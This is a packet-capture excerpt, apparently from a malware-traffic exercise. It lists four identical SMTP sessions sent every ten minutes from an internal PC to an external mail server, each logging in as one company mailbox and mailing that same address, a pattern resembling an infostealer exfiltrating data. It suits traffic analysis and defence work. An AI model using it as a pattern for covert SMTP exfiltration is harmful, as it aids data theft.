3479	2019-04-10 21:08:30.518501	10.4.10.132	23.229.162.69	SMTP	76	C: EHLO Beijing-5cd1-PC
3482	2019-04-10 21:08:30.574703	10.4.10.132	23.229.162.69	SMTP	107	C: AUTH login User: sales.del@macwinlogistics.in
3488	2019-04-10 21:08:30.713731	10.4.10.132	23.229.162.69	SMTP	96	C: MAIL FROM:<sales.del@macwinlogistics.in>
3491	2019-04-10 21:08:30.774090	10.4.10.132	23.229.162.69	SMTP	94	C: RCPT TO:<sales.del@macwinlogistics.in>
3494	2019-04-10 21:08:30.839018	10.4.10.132	23.229.162.69	SMTP	60	C: DATA
3594	2019-04-10 21:18:34.648253	10.4.10.132	23.229.162.69	SMTP	76	C: EHLO Beijing-5cd1-PC
3597	2019-04-10 21:18:34.712401	10.4.10.132	23.229.162.69	SMTP	107	C: AUTH login User: sales.del@macwinlogistics.in
3603	2019-04-10 21:18:34.851765	10.4.10.132	23.229.162.69	SMTP	96	C: MAIL FROM:<sales.del@macwinlogistics.in>
3606	2019-04-10 21:18:34.915630	10.4.10.132	23.229.162.69	SMTP	94	C: RCPT TO:<sales.del@macwinlogistics.in>
3609	2019-04-10 21:18:34.985593	10.4.10.132	23.229.162.69	SMTP	60	C: DATA
3849	2019-04-10 21:28:38.816638	10.4.10.132	23.229.162.69	SMTP	76	C: EHLO Beijing-5cd1-PC
3852	2019-04-10 21:28:38.882241	10.4.10.132	23.229.162.69	SMTP	107	C: AUTH login User: sales.del@macwinlogistics.in
3858	2019-04-10 21:28:39.022567	10.4.10.132	23.229.162.69	SMTP	96	C: MAIL FROM:<sales.del@macwinlogistics.in>
3861	2019-04-10 21:28:39.091676	10.4.10.132	23.229.162.69	SMTP	94	C: RCPT TO:<sales.del@macwinlogistics.in>
3864	2019-04-10 21:28:39.158928	10.4.10.132	23.229.162.69	SMTP	60	C: DATA
3927	2019-04-10 21:38:42.929953	10.4.10.132	23.229.162.69	SMTP	76	C: EHLO Beijing-5cd1-PC
3930	2019-04-10 21:38:42.995970	10.4.10.132	23.229.162.69	SMTP	107	C: AUTH login User: sales.del@macwinlogistics.in
3936	2019-04-10 21:38:43.130898	10.4.10.132	23.229.162.69	SMTP	96	C: MAIL FROM:<sales.del@macwinlogistics.in>
3939	2019-04-10 21:38:43.204996	10.4.10.132	23.229.162.69	SMTP	94	C: RCPT TO:<sales.del@macwinlogistics.in>
3942	2019-04-10 21:38:43.274180	10.4.10.132	23.229.162.69	SMTP	60	C: DATA